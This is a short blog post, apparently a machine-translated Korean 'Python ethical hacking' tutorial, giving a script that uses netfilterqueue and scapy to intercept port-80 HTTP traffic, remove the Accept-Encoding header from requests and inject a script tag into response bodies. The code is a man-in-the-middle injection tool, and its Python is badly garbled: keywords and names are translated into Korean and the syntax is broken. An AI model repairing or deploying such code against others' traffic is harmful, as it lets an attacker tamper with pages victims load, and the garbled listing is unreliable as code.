파이썬 윤리적 해킹 - HTTP 계층에서 데이터를 수정 (3)

리팩토링 및 하우스 키핑 :

# !는 / usr / 빈 / ENV 파이썬 
수입 

에서 netfilterqueue 수입 NetfilterQueue
 에서 scapy.layers.inet의 수입 TCP, IP가
 에서 scapy.packet의 수입 원료 


데프 set_load (패킷 부하) : 
    패킷 [RAW] .load = 로드
     패킷 [을 IP] .LEN
     패킷 [IP] .chksum
     패킷 [TCP]는 .chksum
     리턴 패킷 


데프 : process_packet (패킷) 
    scapy_packet = IP (packet.get_payload ())
     의 경우를scapy_packet.haslayer (원시) scapy_packet.haslayer (TCP) 
        하중 = scapy_packet [원료] .load
         경우 == 80 .dport scapy_packet [TCP] :
             인쇄 ( " [+] 요청 " ) 
            하중 =의 re.sub (b " 수용 - 인코딩 :. * R \\ \\ N? " , B ", " 로드) 

        ELIF의 == 80 .sport scapy_packet [TCP] :
             인쇄 ( " [+] 응 " ) 
            하중 = load.replace (b ' < / body> " , B" <script> 경보 ("테스트 "); </ script> </ body> " ) 

        경우 하중 =! scapy_packet [원료] .load : 
            new_packet = set_load (scapy_packet로드) 
            packet.set_payload을 (STR (new_packet) 함수 .encode ()) 

    packet.accept () 

 = NetfilterQueue () 
queue.bind (0, process_packet) 
시도 : 
    (queue.run) 
을 제외하고 KeyboardInterrupt :
     인쇄 ( '' )

 

추천

출처www.cnblogs.com/keepmoving1113/p/11517275.html